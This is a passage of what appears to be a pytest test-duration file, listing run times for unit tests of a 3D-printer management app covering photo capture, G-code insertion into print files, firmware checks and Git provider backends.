"unit/test_finish_photo_moment_sync.py::TestMaxZResolution::test_proceeds_when_a_layer_count_is_simply_unknown": 0.004411950707435608, + "unit/test_finish_photo_moment_sync.py::TestMaxZResolution::test_refuses_when_no_archive_matches_the_name": 0.0030605262145400047, + "unit/test_finish_photo_moment_sync.py::TestMaxZResolution::test_refuses_when_the_3mf_has_no_height": 0.003246423788368702, + "unit/test_finish_photo_moment_sync.py::TestMaxZResolution::test_refuses_when_the_archive_has_no_file": 0.002428770996630192, + "unit/test_finish_photo_moment_sync.py::TestMaxZResolution::test_refuses_when_the_layer_counts_disagree": 0.0030871573835611343, + "unit/test_finish_photo_moment_sync.py::TestMaxZResolution::test_refuses_when_the_print_has_no_name_to_match_on": 0.0016497811302542686, + "unit/test_finish_photo_moment_sync.py::TestMaxZResolution::test_returns_the_height_when_name_and_layers_agree": 0.003326384350657463, + "unit/test_finish_photo_moment_sync.py::TestPlateRestore::test_commands_an_absolute_move_above_the_print": 0.0022999299690127373, + "unit/test_finish_photo_moment_sync.py::TestPlateRestore::test_never_touches_m211": 0.0018014470115303993, + "unit/test_finish_photo_moment_sync.py::TestPlateRestore::test_park_lowers_the_plate_again": 0.0012930240482091904, + "unit/test_finish_photo_moment_sync.py::TestPlateRestore::test_park_skipped_once_the_next_print_has_started": 0.0012875823304057121, + "unit/test_finish_photo_moment_sync.py::TestPlateRestore::test_reports_failure_when_the_send_fails": 0.00159464031457901, + "unit/test_finish_photo_moment_sync.py::TestPlateRestore::test_skipped_when_the_printer_is_gone": 0.0013956958428025246, + "unit/test_finish_photo_moment_sync.py::TestPlateRestore::test_skipped_when_the_printer_is_no_longer_in_finish": 0.0015877149999141693, + "unit/test_finish_photo_moment_sync.py::TestPlateRestoreWiring::test_not_restored_on_the_stage_22_path": 0.001614588312804699, + "unit/test_finish_photo_moment_sync.py::TestPlateRestoreWiring::test_not_restored_when_another_job_is_queued": 0.001831461675465107, + "unit/test_finish_photo_moment_sync.py::TestPlateRestoreWiring::test_not_restored_when_end_gcode_was_injected_but_the_bank_is_empty": 0.0016065118834376335, + "unit/test_finish_photo_moment_sync.py::TestPlateRestoreWiring::test_not_restored_when_the_banked_frame_is_used": 0.001576554961502552, + "unit/test_finish_photo_moment_sync.py::TestPlateRestoreWiring::test_not_restored_when_the_print_height_is_unknown": 0.0016016215085983276, + "unit/test_finish_photo_moment_sync.py::TestPlateRestoreWiring::test_not_restored_when_the_setting_is_off": 0.0015708543360233307, + "unit/test_finish_photo_moment_sync.py::TestPlateRestoreWiring::test_plate_is_parked_even_when_the_capture_throws": 0.0019314289093017578, + "unit/test_finish_photo_moment_sync.py::TestPlateRestoreWiring::test_producer_event_is_still_set_after_a_restore": 0.0015707248821854591, + "unit/test_finish_photo_moment_sync.py::TestPlateRestoreWiring::test_restores_then_parks_on_the_finish_state_path": 0.001806396059691906, + "unit/test_finish_photo_moment_sync.py::TestStage22CacheHoldsExactlyOneRotation::test_a_live_grab_is_rotated_before_caching": 0.002069598063826561, + "unit/test_finish_photo_moment_sync.py::TestStage22CacheHoldsExactlyOneRotation::test_a_stage22_grab_is_rotated_even_though_the_bank_is_full": 0.00195297971367836, + "unit/test_finish_photo_moment_sync.py::TestStage22CacheHoldsExactlyOneRotation::test_no_rotation_configured_caches_the_bytes_as_captured": 0.001800375059247017, + "unit/test_finish_photo_moment_sync.py::TestStage22CacheHoldsExactlyOneRotation::test_the_banked_frame_is_cached_verbatim": 0.0018028002232313156, + "unit/test_finish_photo_moment_sync.py::TestTimelapsePathPlateRestore::test_notification_budget_outlasts_the_video_poll_plus_a_restore": 0.001360580325126648, + "unit/test_finish_photo_moment_sync.py::TestTimelapsePathPlateRestore::test_producer_skips_the_restore_when_a_timelapse_was_recording": 0.0014661075547337532, + "unit/test_finish_photo_moment_sync.py::test_bank_refreshes_on_the_last_layer_once_the_throttle_elapses": 0.0016562147065997124, + "unit/test_finish_photo_moment_sync.py::test_bank_skips_during_calibration_substage": 0.0013810191303491592, + "unit/test_finish_photo_moment_sync.py::test_bank_skips_when_not_running": 0.0015507359057664871, + "unit/test_finish_photo_moment_sync.py::test_bank_stores_frame_while_printing": 0.001558961346745491, + "unit/test_finish_photo_moment_sync.py::test_bank_throttles_on_the_last_layer_too": 0.0015512257814407349, + "unit/test_finish_photo_moment_sync.py::test_bank_throttles_within_interval": 0.006872461177408695, + "unit/test_finish_photo_moment_sync.py::test_consumer_wait_unblocked_when_producer_completes": 0.05198638699948788, + "unit/test_finish_photo_moment_sync.py::test_event_registered_before_first_await": 0.0018241899088025093, + "unit/test_finish_photo_moment_sync.py::test_event_set_after_successful_capture": 0.00174727663397789, + "unit/test_finish_photo_moment_sync.py::test_event_set_even_when_capture_raises": 0.0017424067482352257, + "unit/test_finish_photo_moment_sync.py::test_event_set_when_capture_returns_no_frame": 0.0017481464892625809, + "unit/test_finish_photo_moment_sync.py::test_event_set_when_capture_setting_disabled": 0.0016186023131012917, + "unit/test_finish_photo_moment_sync.py::test_finish_state_falls_back_to_live_when_bank_is_empty": 0.002263481728732586, + "unit/test_finish_photo_moment_sync.py::test_finish_state_grabs_live_when_no_end_gcode_was_injected": 0.0019658245146274567, + "unit/test_finish_photo_moment_sync.py::test_finish_state_prefers_banked_frame_when_end_gcode_was_injected": 0.0019050901755690575, + "unit/test_finish_photo_moment_sync.py::test_no_event_when_timelapse_was_active": 0.0015060128644108772, + "unit/test_finish_photo_moment_sync.py::test_producer_wait_budget_covers_the_restore": 0.0011827480047941208, + "unit/test_finish_photo_moment_sync.py::test_stage_22_trigger_ignores_bank": 0.0018025198951363564, + "unit/test_finish_photo_moment_sync.py::test_the_consumer_does_not_rotate_the_cached_frame": 0.05815647356212139, + "unit/test_firmware_versions.py::test_bambulab_curl_cffi_session_keeps_honest_user_agent": 0.006270251236855984, + "unit/test_firmware_versions.py::test_bambulab_get_falls_back_to_httpx_when_curl_cffi_missing": 0.006633042357861996, + "unit/test_firmware_versions.py::test_build_id_falls_back_to_disk_on_403": 0.006796097382903099, + "unit/test_firmware_versions.py::test_build_id_is_persisted_to_disk": 0.0056092748418450356, + "unit/test_firmware_versions.py::test_check_for_update_includes_available_versions": 0.005344836972653866, + "unit/test_firmware_versions.py::test_client_headers_identify_honestly_and_send_browser_accept": 0.005249097011983395, + "unit/test_firmware_versions.py::test_download_page_retries_once_when_buildid_stale": 0.005676719360053539, + "unit/test_firmware_versions.py::test_download_page_unreachable_flag_set_on_403_json": 0.0053102439269423485, + "unit/test_firmware_versions.py::test_get_available_versions_merges_sources": 0.005973215214908123, + "unit/test_firmware_versions.py::test_get_available_versions_sorts_newest_first": 0.005487765185534954, + "unit/test_firmware_versions.py::test_wiki_extraction_accepts_nodash_anchors": 0.005538269877433777, + "unit/test_firmware_versions.py::test_wiki_extraction_fallback_accepts_fullwidth_parens": 0.005945623852312565, + "unit/test_firmware_versions.py::test_wiki_extraction_ignores_prose_version_mentions": 0.009126837365329266, + "unit/test_firmware_versions.py::test_wiki_extraction_returns_empty_for_unknown_api_key": 0.005375254899263382, + "unit/test_force_color_plate_scope_migration.py::test_a_dispatched_item_is_left_alone": 0.44585233088582754, + "unit/test_force_color_plate_scope_migration.py::test_a_missing_source_file_does_not_strip_the_overrides": 0.462005696259439, + "unit/test_force_color_plate_scope_migration.py::test_a_whole_file_item_keeps_every_colour": 0.4706532247364521, + "unit/test_force_color_plate_scope_migration.py::test_each_stuck_item_is_rescoped_to_its_own_plate": 0.46935091353952885, + "unit/test_force_color_plate_scope_migration.py::test_it_is_idempotent": 0.8803044715896249, + "unit/test_fts_kprofile_routing.py::TestInletToNozzle::test_anything_else_is_unknown[C]": 0.0010662488639354706, + "unit/test_fts_kprofile_routing.py::TestInletToNozzle::test_anything_else_is_unknown[None]": 0.0011380231007933617, + "unit/test_fts_kprofile_routing.py::TestInletToNozzle::test_anything_else_is_unknown[]": 0.001095523126423359, + "unit/test_fts_kprofile_routing.py::TestInletToNozzle::test_anything_else_is_unknown[left]": 0.0010534143075346947, + "unit/test_fts_kprofile_routing.py::TestInletToNozzle::test_in_a_is_the_left_hotend": 0.001391638070344925, + "unit/test_fts_kprofile_routing.py::TestInletToNozzle::test_in_b_is_the_right_hotend": 0.0011543119326233864, + "unit/test_fts_kprofile_routing.py::TestInletToNozzle::test_the_two_inlets_do_not_share_a_nozzle": 0.0010093320161104202, + "unit/test_fts_kprofile_routing.py::TestReSelectOnInletMove::test_a_disconnected_printer_is_a_no_op": 0.003776608034968376, + "unit/test_fts_kprofile_routing.py::TestReSelectOnInletMove::test_a_spool_with_no_profile_for_that_nozzle_is_untouched": 0.002851583994925022, + "unit/test_fts_kprofile_routing.py::TestReSelectOnInletMove::test_an_already_correct_slot_is_left_alone": 0.0029986808076500893, + "unit/test_fts_kprofile_routing.py::TestReSelectOnInletMove::test_an_empty_slot_is_skipped": 0.002348252572119236, + "unit/test_fts_kprofile_routing.py::TestReSelectOnInletMove::test_an_unknown_inlet_is_a_no_op": 0.001725904643535614, + "unit/test_fts_kprofile_routing.py::TestReSelectOnInletMove::test_moving_to_in_a_selects_the_left_hotends_profile": 0.0038879569619894028, + "unit/test_fts_kprofile_routing.py::TestReSelectOnInletMove::test_moving_to_in_b_selects_the_right_hotends_profile": 0.003549274057149887, + "unit/test_fts_kprofile_routing.py::TestSlotExtruder::test_a_real_extruder_id_wins": 0.0009879209101200104, + "unit/test_fts_kprofile_routing.py::TestSlotExtruder::test_an_unmapped_ams_does_not_borrow_another_units_inlet": 0.0009824316948652267, + "unit/test_fts_kprofile_routing.py::TestSlotExtruder::test_external_slots_name_their_own_side": 0.000978252850472927, + "unit/test_fts_kprofile_routing.py::TestSlotExtruder::test_falls_back_to_the_switch_inlet": 0.0009931819513440132, + "unit/test_fts_kprofile_routing.py::TestSlotExtruder::test_the_maintainers_h2c": 0.0009634867310523987, + "unit/test_fts_kprofile_routing.py::TestSlotExtruder::test_unknown_is_none_not_zero": 0.0009707491844892502, + "unit/test_fts_kprofile_routing.py::TestTheMoveIsDetected::test_a_move_fires_once": 0.0012868810445070267, + "unit/test_fts_kprofile_routing.py::TestTheMoveIsDetected::test_moving_back_fires_again": 0.0011860625818371773, + "unit/test_fts_kprofile_routing.py::TestTheMoveIsDetected::test_repeated_frames_do_not_fire": 0.001146397553384304, + "unit/test_fts_kprofile_routing.py::TestTheMoveIsDetected::test_the_first_sighting_does_not_fire": 0.0010981271043419838, + "unit/test_gcode_injection.py::TestHeaderParser::test_ignores_lines_outside_header_block": 0.000978042371571064, + "unit/test_gcode_injection.py::TestHeaderParser::test_parses_bambu_header_block": 0.0009610112756490707, + "unit/test_gcode_injection.py::TestHeaderParser::test_returns_empty_when_no_header": 0.0009355228394269943, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_empty_strings_returns_none": 0.0011101402342319489, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_fallback_to_first_gcode": 0.0013392716646194458, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_inject_both_start_and_end": 0.001502828672528267, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_inject_end_gcode": 0.0014864755794405937, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_inject_start_gcode": 0.001570642925798893, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_invalid_file_returns_none": 0.0010398179292678833, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_no_gcode_file_returns_none": 0.0011212825775146484, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_no_injection_returns_none": 0.0011445144191384315, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_original_file_unchanged": 0.0014999695122241974, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_plate_id_selection": 0.00143422931432724, + "unit/test_gcode_injection.py::TestInjectGcodeInto3mf::test_preserves_other_files": 0.001673002727329731, + "unit/test_gcode_injection.py::TestMd5SidecarRecompute::test_md5_recomputed_to_match_injected_gcode": 0.0015557464212179184, + "unit/test_gcode_injection.py::TestMd5SidecarRecompute::test_no_md5_member_is_not_created": 0.0019138883799314499, + "unit/test_gcode_injection.py::TestMd5SidecarRecompute::test_other_member_compression_preserved": 0.0017084218561649323, + "unit/test_gcode_injection.py::TestMd5SidecarRecompute::test_sidecar_is_uppercase_hex_no_newline": 0.0015756040811538696, + "unit/test_gcode_injection.py::TestPlaceholderHelper::test_alias_resolves_to_underlying_key": 0.0011756140738725662, + "unit/test_gcode_injection.py::TestPlaceholderHelper::test_substitutes_known_keys": 0.0009450102224946022, + "unit/test_gcode_injection.py::TestPlaceholderHelper::test_unknown_left_verbatim": 0.0010302206501364708, + "unit/test_gcode_injection.py::TestPlaceholderSubstitution::test_direct_header_key_lookup": 0.001498701050877571, + "unit/test_gcode_injection.py::TestPlaceholderSubstitution::test_max_z_height_substituted_in_end_snippet": 0.0014949021860957146, + "unit/test_gcode_injection.py::TestPlaceholderSubstitution::test_no_placeholders_no_header_required": 0.0014498066157102585, + "unit/test_gcode_injection.py::TestPlaceholderSubstitution::test_unknown_placeholder_left_intact": 0.0015310002490878105, + "unit/test_gcode_injection.py::TestStartAnchoredInjection::test_end_falls_back_to_eof_without_block_marker": 0.0015120236203074455, + "unit/test_gcode_injection.py::TestStartAnchoredInjection::test_end_lands_before_executable_block_end": 0.001403159461915493, + "unit/test_gcode_injection.py::TestStartAnchoredInjection::test_no_marker_falls_back_to_prepend": 0.001470356248319149, + "unit/test_gcode_injection.py::TestStartAnchoredInjection::test_start_lands_after_printer_startup": 0.001930086873471737, + "unit/test_gcode_injection.py::TestStartMarkerHelper::test_inserts_before_marker_line": 0.0009765112772583961, + "unit/test_gcode_injection.py::TestStartMarkerHelper::test_marker_at_start_of_file": 0.0009550983086228371, + "unit/test_gcode_injection.py::TestStartMarkerHelper::test_missing_marker_falls_back_to_prepend": 0.0010003549978137016, + "unit/test_get_db_cancel_safety.py::TestCancelSafety::test_close_failure_does_not_propagate": 0.001613793894648552, + "unit/test_get_db_cancel_safety.py::TestCancelSafety::test_close_runs_even_if_rollback_raises": 0.0018350593745708466, + "unit/test_get_db_cancel_safety.py::TestCancelSafety::test_commit_on_clean_exit": 0.0017797453328967094, + "unit/test_get_db_cancel_safety.py::TestCancelSafety::test_rollback_on_cancelled_error": 0.0016941959038376808, + "unit/test_get_db_cancel_safety.py::TestCancelSafety::test_rollback_on_regular_exception": 0.0016991645097732544, + "unit/test_get_db_cancel_safety.py::TestCancelSafety::test_rollback_uses_shield": 0.001775958575308323, + "unit/test_git_providers.py::TestFactory::test_known_providers_return_correct_class": 0.000974586233496666, + "unit/test_git_providers.py::TestFactory::test_unknown_provider_raises_value_error": 0.001013980247080326, + "unit/test_git_providers.py::TestForgejoBackendApiBase::test_derives_api_base_from_repo_url": 0.0011152606457471848, + "unit/test_git_providers.py::TestForgejoBackendApiBase::test_derives_api_base_subpath_hosted": 0.0010479334741830826, + "unit/test_git_providers.py::TestForgejoBackendApiBase::test_derives_api_base_with_port": 0.0010633626952767372, + "unit/test_git_providers.py::TestForgejoBackendApiBase::test_invalid_url_raises_value_error": 0.0010947324335575104, + "unit/test_git_providers.py::TestForgejoBackendApiBase::test_parse_url_subpath_hosted": 0.0010512406006455421, + "unit/test_git_providers.py::TestForgejoBackendApiBase::test_parse_url_uses_instance_host": 0.0010518301278352737, + "unit/test_git_providers.py::TestForgejoInheritsGiteaFixes::test_forgejo_empty_repo_uses_contents_api": 0.0018796734511852264, + "unit/test_git_providers.py::TestForgejoInheritsGiteaFixes::test_forgejo_handles_list_shape_ref_response": 0.0020860107615590096, + "unit/test_git_providers.py::TestForgejoTestConnection::test_bad_token_rejected_by_the_repo_call_is_named_as_such": 0.001638711430132389, + "unit/test_git_providers.py::TestForgejoTestConnection::test_connection_exception_includes_detail_not_just_classname": 0.0018747234717011452, + "unit/test_git_providers.py::TestForgejoTestConnection::test_invalid_token_returns_clear_message_without_repo_call": 0.0015761535614728928, + "unit/test_git_providers.py::TestForgejoTestConnection::test_non_404_api_error_returns_status_code": 0.001644803211092949, + "unit/test_git_providers.py::TestForgejoTestConnection::test_repo_404_after_valid_token_surfaces_v15_scope_hint": 0.0016273288056254387, + "unit/test_git_providers.py::TestForgejoTestConnection::test_repository_scoped_token_403_on_user_still_connects": 0.0016620466485619545, + "unit/test_git_providers.py::TestForgejoTestConnection::test_scoped_token_without_this_repo_names_the_scope_to_fix": 0.0018076077103614807, + "unit/test_git_providers.py::TestForgejoTestConnection::test_token_lacks_push_permission_returns_failed": 0.0018300898373126984, + "unit/test_git_providers.py::TestForgejoTestConnection::test_unexpected_user_status_does_not_block_the_repo_call": 0.0016556140035390854, + "unit/test_git_providers.py::TestForgejoTestConnection::test_valid_token_and_push_permission_returns_success": 0.0018196720629930496, + "unit/test_git_providers.py::TestGitHubBackendApiBase::test_ghe_host_returns_v3_endpoint": 0.0010204911231994629, + "unit/test_git_providers.py::TestGitHubBackendApiBase::test_ghe_host_with_port": 0.0010012183338403702, + "unit/test_git_providers.py::TestGitHubBackendApiBase::test_github_com_returns_api_github_com": 0.0010833200067281723, + "unit/test_git_providers.py::TestGitHubBackendApiBase::test_ssh_ghe_host_returns_v3_endpoint": 0.001021222211420536, + "unit/test_git_providers.py::TestGitHubBackendApiBase::test_ssh_github_com_returns_api_github_com": 0.0010532848536968231, + "unit/test_git_providers.py::TestGitHubBackendParseUrl::test_empty_url_raises_value_error": 0.0010246112942695618, + "unit/test_git_providers.py::TestGitHubBackendParseUrl::test_https_url": 0.0011433828622102737, + "unit/test_git_providers.py::TestGitHubBackendParseUrl::test_https_url_with_git_suffix": 0.0010148724541068077, + "unit/test_git_providers.py::TestGitHubBackendParseUrl::test_invalid_url_raises_value_error": 0.001084180548787117, + "unit/test_git_providers.py::TestGitHubBackendParseUrl::test_ssh_url": 0.001103128306567669, + "unit/test_git_providers.py::TestGitHubBackendParseUrl::test_ssh_url_with_git_suffix": 0.0011132769286632538, + "unit/test_git_providers.py::TestGitHubBackendPushFiles::test_blob_404_surfaces_token_scope_hint": 0.0021388093009591103, + "unit/test_git_providers.py::TestGitHubBackendPushFiles::test_blob_failure_returns_failed_not_skipped": 0.001978667452931404, + "unit/test_git_providers.py::TestGitHubBackendPushFiles::test_initial_commit_blob_404_surfaces_token_scope_hint": 0.0019354280084371567, + "unit/test_git_providers.py::TestGitHubBackendPushFiles::test_initial_commit_blob_non_201_returns_path_in_message": 0.002087952569127083, + "unit/test_git_providers.py::TestGitHubBackendPushFiles::test_skips_unchanged_files": 0.002042969688773155, + "unit/test_git_providers.py::TestGitHubBackendPushFiles::test_successful_push": 0.0024370774626731873, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_create_branch_403_includes_status_code": 0.0019032685086131096, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_create_branch_422_includes_status_code": 0.002076653763651848, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_initial_commit_malformed_blob_response": 0.0023130131885409355, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_malformed_blob_response_returns_clear_message": 0.002122560515999794, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_malformed_commit_response_returns_clear_message": 0.0017092050984501839, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_malformed_ref_response_returns_clear_message": 0.0016132025048136711, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_recursive_push_files_log_marker_on_branch_create": 0.0032419757917523384, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_test_connection_failure_includes_exception_message": 0.0027239248156547546, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_test_connection_truncates_long_exception_message": 0.0026752352714538574, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_tree_fetch_failure_returns_failed_not_silent_skip": 0.0018566502258181572, + "unit/test_git_providers.py::TestGitHubBackendRobustness::test_truncated_tree_response_returns_failed": 0.0020409775897860527, + "unit/test_git_providers.py::TestGitLabBackend::test_get_api_base_derives_from_repo_url": 0.0011478401720523834, + "unit/test_git_providers.py::TestGitLabBackend::test_get_api_base_derives_from_self_hosted_url": 0.0010698260739445686, + "unit/test_git_providers.py::TestGitLabBackend::test_get_api_base_invalid_url_raises": 0.0010684719309210777, + "unit/test_git_providers.py::TestGitLabBackend::test_get_headers_uses_bearer_token": 0.001043476164340973, + "unit/test_git_providers.py::TestGitLabBackend::test_parse_url_deep_namespace_https": 0.00106769148260355, + "unit/test_git_providers.py::TestGitLabBackend::test_parse_url_https": 0.0012359470129013062, + "unit/test_git_providers.py::TestGitLabBackend::test_parse_url_invalid_raises": 0.0010878890752792358, + "unit/test_git_providers.py::TestGitLabBackend::test_parse_url_ssh": 0.0011401968076825142, + "unit/test_git_providers.py::TestGitLabBackend::test_parse_url_subgroup_https": 0.0010532541200518608, + "unit/test_git_providers.py::TestGitLabBackend::test_parse_url_subgroup_ssh": 0.0010542646050453186, + "unit/test_git_providers.py::TestGitLabBackend::test_push_files_encodes_subgroup_namespace_in_api_url": 0.002026890404522419, + "unit/test_git_providers.py::TestGitLabBackendPushFiles::test_commits_when_content_changed": 0.0020879441872239113, + "unit/test_git_providers.py::TestGitLabBackendPushFiles::test_creates_new_file_not_in_existing_tree": 0.001852833665907383, + "unit/test_git_providers.py::TestGitLabBackendPushFiles::test_paginates_tree_to_find_unchanged_file_on_page_2": 0.0021295715123414993, + "unit/test_git_providers.py::TestGitLabBackendPushFiles::test_skips_commit_when_content_unchanged": 0.0018530739471316338, + "unit/test_git_providers.py::TestGitLabBackendPushFiles::test_truncates_upstream_error_body_in_failure_message": 0.0018486455082893372, + "unit/test_git_providers.py::TestGiteaBackendApiBase::test_derives_api_base_from_repo_url": 0.0011887690052390099, + "unit/test_git_providers.py::TestGiteaBackendApiBase::test_derives_api_base_subpath_hosted": 0.0010359510779380798, + "unit/test_git_providers.py::TestGiteaBackendApiBase::test_derives_api_base_subpath_hosted_with_port": 0.0010448182001709938, + "unit/test_git_providers.py::TestGiteaBackendApiBase::test_derives_api_base_with_port": 0.0010926788672804832, + "unit/test_git_providers.py::TestGiteaBackendApiBase::test_invalid_url_raises_value_error": 0.0011229636147618294, + "unit/test_git_providers.py::TestGiteaBackendApiBase::test_parse_url_subpath_hosted": 0.001043868251144886, + "unit/test_git_providers.py::TestGiteaBackendApiBase::test_parse_url_subpath_hosted_with_git_suffix": 0.001033557578921318, + "unit/test_git_providers.py::TestGiteaBackendApiBase::test_parse_url_uses_instance_host": 0.0010396083816885948, + "unit/test_git_providers.py::TestGiteaBackendEmptyRepoInitialCommit::test_contents_api_failure_truncates_error_body": 0.002070801332592964, + "unit/test_git_providers.py::TestGiteaBackendEmptyRepoInitialCommit::test_contents_api_payload_shape": 0.0019081560894846916, + "unit/test_git_providers.py::TestGiteaBackendEmptyRepoInitialCommit::test_empty_files_skips_contents_api_call": 0.001501385122537613, + "unit/test_git_providers.py::TestGiteaBackendEmptyRepoInitialCommit::test_empty_repo_uses_contents_api_not_git_data_api": 0.0020828843116760254, + "unit/test_git_providers.py::TestGiteaBackendEmptyRepoInitialCommit::test_missing_commit_sha_in_initial_commit_response_surfaces_warning": 0.0020574554800987244, + "unit/test_git_providers.py::TestGiteaBackendListShapeRefResponse::test_create_branch_403_returns_permission_message": 0.0034449249505996704, + "unit/test_git_providers.py::TestGiteaBackendListShapeRefResponse::test_create_branch_409_returns_race_condition_message": 0.0018738023936748505, + "unit/test_git_providers.py::TestGiteaBackendListShapeRefResponse::test_create_branch_handles_list_shape_default_branch_ref": 0.0024316878989338875, + "unit/test_git_providers.py::TestGiteaBackendListShapeRefResponse::test_create_branch_unexpected_status_includes_code_in_message": 0.002093873918056488, + "unit/test_git_providers.py::TestGiteaBackendListShapeRefResponse::test_push_files_handles_list_shape_branch_ref": 0.0018940391018986702, + "unit/test_git_providers.py::TestGiteaBackendListShapeRefResponse::test_ref_sha_extracts_from_list": 0.001066860742866993, + "unit/test_git_providers.py::TestGiteaBackendListShapeRefResponse::test_ref_sha_raises_on_empty_list": 0.0010404400527477264, + "unit/test_git_providers.py::TestGiteaBackendListShapeRefResponse::test_ref_sha_still_accepts_dict_shape": 0.0010468615218997002, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_changed_file_sent_as_update_with_sha": 0.0019591227173805237, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_contents_api_404_surfaces_version_hint": 0.0019287457689642906, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_contents_api_409_surfaces_conflict_hint": 0.0020865919068455696, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_contents_api_failure_returns_failed": 0.002083425410091877, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_creates_missing_branch_via_branches_api": 0.0023653432726860046, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_get_current_commit_failure_includes_status_and_body": 0.0018711881712079048, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_malformed_tree_entry_skipped_valid_entry_retained": 0.002169756218791008, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_missing_tree_sha_surfaces_body": 0.0017206761986017227, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_mixed_batch_create_update_unchanged_in_single_call": 0.00213440228253603, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_n_files_produce_single_commit": 0.003816814161837101, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_new_file_sent_as_create_without_sha": 0.002158776856958866, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_recursive_push_files_log_marker_on_branch_create": 0.0028827637434005737, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_replication_lag_guard_fires_on_second_404": 0.002288748510181904, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_repo_info_failure_includes_status_and_body": 0.0017071086913347244, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_skips_unchanged_files": 0.0020186034962534904, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_tree_fetch_failure_returns_failed": 0.0019050594419240952, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_truncated_tree_response_returns_failed": 0.0018831584602594376, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_truncates_upstream_error_body_in_failure_message": 0.00197433028370142, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_unchanged_file_excluded_from_contents_call": 0.0018708761781454086, + "unit/test_git_providers.py::TestGiteaBackendPushFiles::test_uses_gitea_api_v1_base_not_github": 0.001934676431119442, + "unit/test_git_providers.py::TestGiteaBackendWrappedCommitResponse::test_commit_tree_sha_reads_flat_shape": 0.0010654060170054436, + "unit/test_git_providers.py::TestGiteaBackendWrappedCommitResponse::test_commit_tree_sha_reads_wrapped_shape": 0.0010269051417708397, + "unit/test_git_providers.py::TestGiteaBackendWrappedCommitResponse::test_commit_tree_sha_returns_none_on_missing": 0.0010231360793113708, + "unit/test_git_providers.py::TestGiteaBackendWrappedCommitResponse::test_missing_commit_sha_in_push_response_surfaces_warning": 0.0020417971536517143, + "unit/test_git_providers.py::TestGiteaBackendWrappedCommitResponse::test_push_files_fails_cleanly_when_tree_sha_missing": 0.0017047049477696419, + "unit/test_git_providers.py::TestGiteaBackendWrappedCommitResponse::test_push_files_handles_wrapped_commit_response": 0.0018467195332050323, + "unit/test_git_providers_restore.py::TestGetCommit::test_github_404_names_the_ref": 0.0017367443069815636, + "unit/test_git_providers_restore.py::TestGetCommit::test_github_reads_one_commit_by_sha": 0.0015956778079271317, + "unit/test_git_providers_restore.py::TestGetCommit::test_gitlab_404_names_the_ref": 0.0015719765797257423, + "unit/test_git_providers_restore.py::TestGetCommit::test_gitlab_reads_its_flattened_shape": 0.0015586428344249725, + "unit/test_git_providers_restore.py::TestGitHubFetchFiles::test_a_supplied_blob_map_skips_the_second_tree_read": 0.001808246597647667, + "unit/test_git_providers_restore.py::TestGitHubFetchFiles::test_blob_error_fails_the_whole_read": 0.0017615621909499168, + "unit/test_git_providers_restore.py::TestGitHubFetchFiles::test_list_tree_hands_back_the_map_it_built": 0.0016076238825917244, + "unit/test_git_providers_restore.py::TestGitHubFetchFiles::test_lists_the_tree_once_for_many_files": 0.0017814990133047104, + "unit/test_git_providers_restore.py::TestGitHubFetchFiles::test_missing_path_is_skipped_not_an_error": 0.0017453497275710106, + "unit/test_git_providers_restore.py::TestGitHubFetchFiles::test_reads_requested_paths_via_blob_api": 0.0017262259498238564, + "unit/test_git_providers_restore.py::TestGitHubFetchFiles::test_unsupported_encoding_is_reported": 0.0017585363239049911, + "unit/test_git_providers_restore.py::TestGitHubFetchFiles::test_utf8_content_survives_round_trip": 0.0019065747037529945, + "unit/test_git_providers_restore.py::TestGitHubListCommits::test_404_explains_empty_repository": 0.001598617061972618, + "unit/test_git_providers_restore.py::TestGitHubListCommits::test_non_list_body_is_an_error_not_a_crash": 0.0015932358801364899, + "unit/test_git_providers_restore.py::TestGitHubListCommits::test_respects_limit_even_if_provider_overshoots": 0.002881561405956745, + "unit/test_git_providers_restore.py::TestGitHubListCommits::test_returns_normalised_commits_newest_first": 0.0016206158325076103, + "unit/test_git_providers_restore.py::TestGitHubListCommits::test_sends_both_per_page_and_limit": 0.0016073035076260567, + "unit/test_git_providers_restore.py::TestGitHubListCommits::test_skips_entries_without_a_sha": 0.0016008391976356506, + "unit/test_git_providers_restore.py::TestGitHubListTree::test_404_names_the_missing_ref": 0.0018542865291237831, + "unit/test_git_providers_restore.py::TestGitHubListTree::test_returns_sorted_blob_paths_only": 0.0016300845891237259, + "unit/test_git_providers_restore.py::TestGitHubListTree::test_truncated_tree_fails_loudly": 0.001684878021478653, + "unit/test_git_providers_restore.py::TestGitLabReads::test_fetch_files_decodes_base64": 0.0016316873952746391, + 